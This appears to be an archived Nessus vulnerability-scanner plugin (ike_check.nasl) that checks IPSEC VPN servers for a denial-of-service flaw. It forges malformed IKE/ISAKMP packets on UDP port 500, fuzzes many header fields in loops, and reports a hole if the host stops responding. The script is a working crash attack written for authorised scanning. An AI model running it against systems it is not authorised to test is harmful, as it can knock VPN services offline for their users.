home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / ike_check.nasl < prev    next >
Text File  |  2005-03-31  |  18KB  |  503 lines

  1. #
  2. # This script was written by John Lampe...j_lampe@bellsouth.net
  3. #
  4. # Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
  5. #      Erik Anderson <eanders@carmichaelsecurity.com>
  6. #      Added RFC Reference
  7. #
  8. # Bert Salaets: Some (older, pre-NAT-T) ISAKMP implementations won't respond on
  9. #    UDP packets with src.port != 500
  10. #    Some implementations will drop packets with initiator cookie set to the
  11. #    same value as a previously received packet (within a certain time frame)
  12. #    MV should be 0x10 (was 0x04)
  13. #
  14. # John Lampe: It's also interesting to note that some implementations will *accept*
  15. # packets with (srcport != 500) and reply to those packets with (srcport == dstport == 500)
  16. #
  17. # See the Nessus Scripts License for details
  18. #
  19.  
  20. if(description)
  21. {
  22.  script_id(10941);
  23.  script_version("$Revision: 1.8 $");
  24.  
  25.  name["english"] = "IPSEC IKE check";
  26.  script_name(english:name["english"]);
  27.  
  28.  desc["english"] =
  29. "The remote IPSEC server seems to have a problem negotiating
  30. bogus IKE requests.
  31.  
  32. An attacker may use this flaw to disable your VPN remotely
  33.  
  34. Solution: Contact your vendor for a patch
  35.  
  36. Reference : See RFC 2409
  37.  
  38. Risk factor : High";
  39.  
  40.  script_description(english:desc["english"]);
  41.  
  42.  summary["english"] = "IPSEC IKE check";
  43.  script_summary(english:summary["english"]);
  44.  
  45.  script_category(ACT_KILL_HOST);
  46.  
  47.  script_copyright(english:"This script is Copyright (C) 2002 John Lampe...j_lampe@bellsouth.net");
  48.  family["english"] = "Denial of Service";
  49.  script_family(english:family["english"]);
  50.  exit(0);
  51. }
  52.  
  53. #
  54. # The script code starts here
  55. #
  56.  
  57.  
  58. function calc_data() {
  59.     ISAKMP_HEADER = IC + RC + NP + MV + ET + IF + MI + LEN;
  60.     SA_HEADER = SA_NP + RES + PLEN + DOI + SIT;
  61.     PROP_HEADER = P_NP + P_RES + P_PLEN + P_NUM + PID + SPI_SZ + TOT_T_NUM;
  62.     T_PAY1 = T_NP + T_RES + T_PLEN + T_NUM + T_ID + T_RES2 + T_FLAGS + T_AC + T_AV + T_FLAGS2 + T_AC2 + T_AV2 + T_FLAGS3
  63. + T_AC3 + T_AV3 + T_FLAGS4 + T_AC4 + T_AV4 + T_FLAGS5 + T_AC5 + T_AV5 + T_FLAGS6 +  T_AC6 + T_ALEN + T_AV6;
  64.  
  65.     T_PAY2 = T_NP + T_RES + T_PLEN + raw_string(0x02) + T_ID + T_RES2 + T_FLAGS + T_AC + T_AV + T_FLAGS2 + T_AC2 + T_AV2
  66. + T_FLAGS3 + T_AC3 + T_AV3 + T_FLAGS4 + T_AC4 + T_AV4 + T_FLAGS5 + T_AC5 + T_AV5 + T_FLAGS6 + T_AC6 + T_ALEN + T_AV6;
  67.  
  68.     T_PAY3 = raw_string(0x00) + T_RES + T_PLEN + raw_string(0x03) + T_ID + T_RES2 + T_FLAGS + T_AC + T_AV + T_FLAGS2 +
  69. T_AC2 + T_AV2 + T_FLAGS3 + T_AC3 + T_AV3 + T_FLAGS4 + T_AC4 + T_AV4 + T_FLAGS5 + T_AC5 + T_AV5 + T_FLAGS6 + T_AC6 +
  70. T_ALEN + T_AV6;
  71.  
  72.     KE_PAY = KE_NP + KE_RES + KE_PLEN + chit;
  73.     NON_PAY = NON_NP + NON_RES + NON_PLEN + TEST;
  74.     blap = ISAKMP_HEADER + SA_HEADER + PROP_HEADER +  T_PAY1 + T_PAY2 + T_PAY3 + KE_PAY + NON_PAY;
  75.     return(blap);
  76. }
  77.  
  78.  
  79.  
  80. function bada_bing (blat) {
  81.   #srcport = rand() % 65535;
  82.   srcport = 500;
  83.   UDP_LEN = strlen(blat) + 8;
  84.   ip = forge_ip_packet(ip_v : 4,
  85.                        ip_hl : 5,
  86.                        ip_tos : 0,
  87.                        ip_len : 20,
  88.                        ip_id : 0xFEAF,
  89.                        ip_p : IPPROTO_UDP,
  90.                        ip_ttl : 255,
  91.                        ip_off : 0,
  92.                        ip_src : srcaddr,
  93.                        ip_dst : dstaddr);
  94.  
  95.  
  96.   udpip = forge_udp_packet(                        ip : ip,
  97.                                                  uh_sport : srcport,
  98.                                                  uh_dport : dstport,
  99.                                                  uh_ulen : UDP_LEN,
  100.                                                  data : blat);
  101.  
  102.    result_suc = send_packet(udpip, pcap_active:FALSE);
  103. }
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111. srcaddr = this_host();
  112. dstaddr = get_host_ip();
  113. dstport = 500;
  114. srcport = 500;
  115.  
  116.  
  117. #------ISAKMP header-----#
  118.  
  119. IC = raw_string (0xFF, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC, 0x03);    #8 byte Initiator cookie
  120. RC = raw_string (0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);    #8 byte Responder cookie
  121.  
  122. NP = raw_string (0x01);                                              #Next payload = 1 = Security Association
  123.                                                                      # 2 = proposal / 3 = transform /  4 = Key exchange
  124.                                                                      # 5 = ID /  6 = CERT / 7 = Cert request
  125.                                                                      # 8 = HASH / 9 = SIGNATURE / 10 = NONCE
  126.                                                                      # 11 = Notification / 12 = Delete
  127.                                                                      # 13 = Vendor ID / 14-27 = RESERVED
  128.                                                                      # 128-255 = PRIVATE USE
  129.  
  130.  
  131. MV = raw_string (0x10);                                              # 4bits = Major version
  132.                                                                      # 4 low order bits = Minor version
  133.  
  134.  
  135. ET = raw_string (0x04);                                              # Exchange type = 4 = AGGRESSIVE
  136.                                                                      # 0 = NONE / 1 = BASE / 2 = Identity protection
  137.                                                                      # 3 = Authentication only  / 5 = Informational
  138.                                                                      # 6-31 = FUTURE USE / 32-239 = DOI use
  139.                                                                      # 240-255 = Private use
  140.  
  141.  
  142. IF = raw_string (0x00);                                              # 8 bits of IKE flags, lower 5 bits NOT USED
  143. MI = raw_string(0x00,0x00,0x00,0x00);                                # Message ID
  144. LEN = raw_string (0x00,0x00,0x01,0x7b);                              # Length = total length of UDP data field
  145.  
  146. ISAKMP_HEADER = IC + RC + NP + MV + ET + IF + MI + LEN;
  147.  
  148.  
  149.  
  150. # ----- Security Association ---------#
  151.  
  152. SA_NP = raw_string(0x04);                                            # Security Association next payload = key exchange
  153. RES = raw_string(0x00);                                              # reserved
  154. PLEN = raw_string(0x00,0x80);                                        # Security association payload length =
  155.                                                                      # total len of all payloads (through last TP) + 12
  156. DOI = raw_string(0x00,0x00,0x00,0x01);                               # DOI = generic ISAKMP Security Association
  157. SIT = raw_string(0x00,0x00,0x00,0x01);                               # Situation
  158.  
  159. SA_HEADER = SA_NP + RES + PLEN + DOI + SIT;
  160.  
  161.  
  162.  
  163. # ------Proposal --------------------#
  164.  
  165. P_NP = raw_string(0x00);                                             # Proposal next payload = 0 (last proposal payload)
  166. P_RES = raw_string(0x00);                                            # reserved
  167. P_PLEN = raw_string(0x00,0x74);                                      # Proposal payload length = total len of all
  168.                                                                      # payloads through last TP
  169. P_NUM = raw_string(0x01);                                            # proposal number
  170. PID = raw_string(0x01);                                              # protocol ID = 1 = proto_isakmp
  171. SPI_SZ = raw_string(0x00);                                           # SPI size
  172. TOT_T_NUM = raw_string(0x08);                                            # number of transforms
  173.  
  174. PROP_HEADER = P_NP + P_RES + P_PLEN + P_NUM + PID + SPI_SZ + TOT_T_NUM;
  175.  
  176.  
  177.  
  178. # -----Transform Payload ------------#
  179. T_NP = raw_string(0x03);                                             # transform next payload = 3 = more transforms
  180. T_RES = raw_string(0x00);                                            # reserved
  181. T_PLEN = raw_string(0x00,0x24);                                      # payload length
  182. T_NUM = raw_string(0x01);                                            # transform number
  183. T_ID = raw_string(0x01);                                             # transform ID
  184. T_RES2 = raw_string(0x00,0x00);                                      # reserved
  185. T_FLAGS = raw_string(0x80);                                          # data attribute following TV format
  186. T_AC = raw_string(0x01);                                             # Attribute type/class = 1 encryption alg basic
  187. T_AV = raw_string(0x00,0x05);                                        # Transform attribute value = 3des_CBC
  188. T_FLAGS2 = raw_string(0x80);
  189. T_AC2 = raw_string(0x02);                                            # attribute type/class = 2 = hash alg basic
  190. T_AV2 = raw_string(0x00,0x02);                                       # attribute value = 2 = SHA
  191. T_FLAGS3 = raw_string(0x80);
  192. T_AC3 = raw_string(0x04);                                            # attribute type/class = 4 = group description basic
  193. T_AV3 = raw_string(0x00,0x02);                                       # attribute value = 2 = alternate 1024 bit MODP group
  194. T_FLAGS4 = raw_string(0x80);
  195. T_AC4 = raw_string(0x03);                                            # attribute type/class = 3 = basic authentication
  196. T_AV4 = raw_string(0xFD,0xE9);                                       # attribute value = 65001 = for private use
  197. T_FLAGS5 = raw_string(0x80);
  198. T_AC5 = raw_string(0x0b);                                            # attribute type/class = 11 = basic life type
  199. T_AV5 = raw_string(0x00,0x01);                                       # attribute value = 1 = life duration in seconds
  200. T_FLAGS6 = raw_string(0x00);
  201. T_AC6 = raw_string(0x0c);                                            # attribute type/class = 12 = variable life duration
  202. T_ALEN = raw_string(0x00,0x04);                                      # attribute length = 4 bytes
  203. T_AV6 = raw_string(0x00,0x20,0xC4,0x9B);                             # attribute value
  204.  
  205. T_PAY1 = T_NP + T_RES + T_PLEN + T_NUM + T_ID + T_RES2 + T_FLAGS + T_AC + T_AV + T_FLAGS2 + T_AC2 + T_AV2 + T_FLAGS3 +
  206. T_AC3 + T_AV3 + T_FLAGS4 + T_AC4 + T_AV4 + T_FLAGS5 + T_AC5 + T_AV5 + T_FLAGS6 + T_AC6 + T_ALEN + T_AV6;
  207.  
  208.  
  209.  
  210.  
  211. # -----Transform Payloads 2 and up -----------#
  212. # nothing changes except transform number .... and "Next payload" (on last payload)
  213.  
  214. T_PAY2 = T_NP + T_RES + T_PLEN + raw_string(0x02) + T_ID + T_RES2 + T_FLAGS + T_AC + T_AV + T_FLAGS2 + T_AC2 + T_AV2 +
  215. T_FLAGS3 + T_AC3 + T_AV3 + T_FLAGS4 + T_AC4 + T_AV4 + T_FLAGS5 + T_AC5 + T_AV5 + T_FLAGS6 + T_AC6 + T_ALEN + T_AV6;
  216.  
  217.  
  218. T_PAY3 = raw_string(0x00) + T_RES + T_PLEN + raw_string(0x03) + T_ID + T_RES2 + T_FLAGS + T_AC + T_AV + T_FLAGS2 + T_AC2
  219. + T_AV2 + T_FLAGS3 + T_AC3 + T_AV3 + T_FLAGS4 + T_AC4 + T_AV4 + T_FLAGS5 + T_AC5 + T_AV5 + T_FLAGS6 + T_AC6 + T_ALEN +
  220. T_AV6;
  221.  
  222.  
  223. #--------end Proposal Payload ------------------------#
  224.  
  225. #--------end Security Association Payload-------------#
  226.  
  227.  
  228.  
  229.  
  230. #------Key exchange payload---------#
  231. # 223 bytes of chit
  232.  
  233. KE_NP = raw_string(0x0a);                                           # key exchange next payload = 0 = NONCE
  234. KE_RES = raw_string(0x00);                                          # reserved
  235. KE_PLEN = raw_string(0x00,0x88);                                         # key exchange payload length
  236.  
  237. chit = "";
  238. for (i=0; i<132; i = i + 1) {
  239.     chit = chit + raw_string(i);
  240. }
  241.  
  242. KE_PAY = KE_NP + KE_RES + KE_PLEN + chit;
  243.  
  244.  
  245.  
  246.  
  247.  
  248. #-----NONCE payload--------------#
  249. NON_NP = raw_string(0xa4);                                         # nonce next payload
  250. NON_RES = raw_string(0x00);                                        # nonce reserved
  251. NON_PLEN = raw_string(0x00, 0x56);                                 # nonce payload len
  252.  
  253. TEST = "";
  254. for (i=0; i< 83; i = i + 1) {
  255.   TEST = TEST + raw_string(i);
  256. }
  257.  
  258. NON_PAY = NON_NP + NON_RES + NON_PLEN + TEST;
  259.  
  260.  
  261.  
  262.  
  263.  
  264.  
  265. #----------Put it all together-------------#
  266.  
  267.  
  268.  
  269. #--------FALSE POSITIVE REDUCTION PRELIM----#
  270. # Disclaimer: I can't verify that _ALL_ IPSEC servers will reply to the packet below
  271. #Bert Salaets: AND THEY WON'T! Some will not answer on packets with UDP srcport != 500 -> fixed
  272.  
  273. stored = MV;
  274. stored2 = ET;
  275. ET = raw_string(0x01);                 # change exchange type to BASIC
  276. MV = raw_string(0xFF);                 # set Major version = minor version = 15
  277.                                        # this *should* generate an error reply
  278. blat = calc_data();
  279. oneoff = strlen(blat);
  280.  
  281. ip = forge_ip_packet(                    ip_v : 4,
  282.                                          ip_hl : 5,
  283.                                          ip_tos : 0,
  284.                                          ip_len : 20,
  285.                                          ip_id : 0xABBA,
  286.                                          ip_p : IPPROTO_UDP,
  287.                                          ip_ttl : 255,
  288.                                          ip_off : 0,
  289.                                          ip_src : this_host(),
  290.                                          ip_dst : get_host_ip());
  291.  
  292.  
  293. udpip = forge_udp_packet(                        ip : ip,
  294.                                                  uh_sport : 500,
  295.                                                  uh_dport : 500,
  296.                                                  uh_ulen : oneoff + 8,
  297.                                                  data : blat);
  298.  
  299. filter = string("udp and src host ", get_host_ip(), " and dst host " , this_host());
  300. live = send_packet(udpip, pcap_active:TRUE, pcap_filter:filter);
  301. foo = strlen(live);
  302. if (foo < 20) exit(0);
  303. MV = stored;
  304. ET = stored2;
  305.  
  306. # END FALSE POSITIVE PRELIM
  307.  
  308.  
  309.  
  310.  
  311. start_denial();
  312.  
  313. stored = LEN;
  314. LEN = raw_string(0xFF,0xFF,0xFF,0xFF);
  315. IC = raw_string (0xFF, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC, 0x03); #Change the initiator cookie with each new attack....
  316. blat = calc_data();
  317. bada_bing(blat);
  318. LEN = stored;
  319.  
  320.  
  321. stored = SA_NP;
  322. for (mu=0; mu<14; mu = mu + 1) {
  323.   SA_NP = raw_string(mu);
  324.   IC = raw_string (0x01, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  325.   blat = calc_data();
  326.   bada_bing(blat);
  327. }
  328. SA_NP = stored;
  329.  
  330.  
  331.  
  332. stored = RES;
  333. for (mu=0; mu<128; mu = mu + 16) {
  334.     RES = raw_string(mu);
  335.     IC = raw_string (0x02, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  336.     blat = calc_data();
  337.     bada_bing(blat);
  338. }
  339. RES = stored;
  340.  
  341.  
  342. stored = PLEN;
  343. for (mu=0; mu < 255; mu = mu + 16) {
  344.     for (delta=0; delta < 255; delta = delta + 16) {
  345.         PLEN = raw_string(mu) + raw_string(delta);
  346.         blat = calc_data();
  347.         IC = raw_string (0x03, 0x00, 0xFE, 0x01, 0xFD, 0x12) + raw_string(delta) + raw_string(mu);
  348.         bada_bing(blat);
  349.     }
  350. }
  351. PLEN = stored;
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358. stored = SIT;
  359. for (mu=2; mu < 255; mu = mu * mu) {
  360.   for (delta=2; delta < 255; delta = delta * delta) {
  361.       for (sigma=2; sigma < 255; sigma = sigma * sigma) {
  362.           for (gamma=2; gamma < 255; gamma = gamma * gamma) {
  363.               IC = raw_string (0x04, 0x00, 0xFE, 0x01, 0xFD) + raw_string(gamma) + raw_string(delta) + raw_string(mu);
  364.               SIT = raw_string(mu) + raw_string(delta) + raw_string(sigma) + raw_string(gamma);
  365.               blat = calc_data();
  366.               bada_bing(blat);
  367.           }
  368.       }
  369.   }
  370. }
  371. SIT = stored;
  372.  
  373.  
  374.  
  375. stored = P_NP;
  376. for (mu=0; mu<128; mu = mu + 1) {
  377.     P_NP = raw_string(mu);
  378.     IC = raw_string (0x05, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  379.     blat = calc_data();
  380.     bada_bing(blat);
  381. }
  382. P_NP = stored;
  383.  
  384.  
  385. stored=IC;
  386. IC = raw_string(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00);
  387. blat = calc_data();
  388. bada_bing(blat);
  389. IC=stored;
  390.  
  391.  
  392. stored=IC;
  393. stored2=RC;
  394. IC=raw_string(0x56,0x99,0xee,0xff,0x43,0x83,0x87,0x73);
  395. RC=raw_string(0x88,0x77,0x66,0x55,0x44,0x33,0x22,0x11);
  396. blat = calc_data();
  397. bada_bing(blat);
  398. IC=stored;
  399. RC=stored2;
  400.  
  401.  
  402. stored=MV;
  403. MV = raw_string(0x00);
  404. IC = raw_string (0x06, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC, 0x0D);
  405. blat = calc_data();
  406. bada_bing(blat);
  407. MV=stored;
  408.  
  409.  
  410. stored=ET;
  411. for (mu=0; mu<255; mu = mu + 1) {
  412.   ET = raw_string(mu);
  413.   IC = raw_string (0x07, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  414.   blat = calc_data();
  415.   bada_bing(blat);
  416. }
  417. ET=stored;
  418.  
  419.  
  420. stored=PID;
  421. for (mu=0; mu<128; mu = mu + 1) {
  422.     PID = raw_string(mu);
  423.     IC = raw_string (0x08, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  424.     blat = calc_data();
  425.     bada_bing(blat);
  426. }
  427. PID=stored;
  428.  
  429.  
  430.  
  431. stored=SPI_SZ;
  432. for (mu=0; mu<128; mu = mu + 1) {
  433.     SPI_SZ = raw_string(mu);
  434.     IC = raw_string (0x09, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  435.     blat = calc_data();
  436.     bada_bing(blat);
  437. }
  438. SPI_SZ = stored;
  439.  
  440.  
  441.  
  442. stored = KE_NP;
  443. for (mu=0; mu < 128; mu = mu + 1) {
  444.     KE_NP = raw_string(mu);
  445.     IC = raw_string (0x0A, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  446.     blat = calc_data();
  447.     bada_bing(blat);
  448. }
  449. KE_NP=stored;
  450.  
  451.  
  452.  
  453. stored=NON_NP;
  454. for (mu=0; mu < 128; mu = mu + 1) {
  455.     NON_NP = raw_string(mu);
  456.     IC = raw_string (0x0B, 0x00, 0xFE, 0x01, 0xFD, 0x12, 0xFC) + raw_string(mu);
  457.     blat = calc_data();
  458.     bada_bing(blat);
  459. }
  460. NON_NP = stored;
  461.  
  462.  
  463.  
  464. alive = end_denial();
  465. if(!alive) security_hole(port:500, protocol:"udp");
  466.  
  467.  
  468.  
  469.  
  470.  
  471. ip = forge_ip_packet(                    ip_v : 4,
  472.                                          ip_hl : 5,
  473.                                          ip_tos : 0,
  474.                                          ip_len : 20,
  475.                                          ip_id : 0xABBA,
  476.                                          ip_p : IPPROTO_UDP,
  477.                                          ip_ttl : 255,
  478.                                          ip_off : 0,
  479.                                          ip_src : this_host(),
  480.                                          ip_dst : get_host_ip());
  481.  
  482.  
  483. udpip = forge_udp_packet(                        ip : ip,
  484.                                                  uh_sport : 500,
  485.                                                  uh_dport : 500,
  486.                                                  uh_ulen : 8);
  487. filter = string("icmp and src host ", get_host_ip(), " and dst host " , this_host());
  488. live = send_packet(udpip, pcap_active:TRUE, pcap_filter:filter);
  489. if (live) {
  490.     protocol_type = get_ip_element(ip:live, element:"ip_p");
  491.     if (protocol_type == IPPROTO_ICMP) {
  492.         security_hole(port:500, protocol:"udp");
  493.     }
  494. }
  495.  
  496.  
  497.  
  498.  
  499. exit(0);
  500.  
  501.  
  502.  
  503.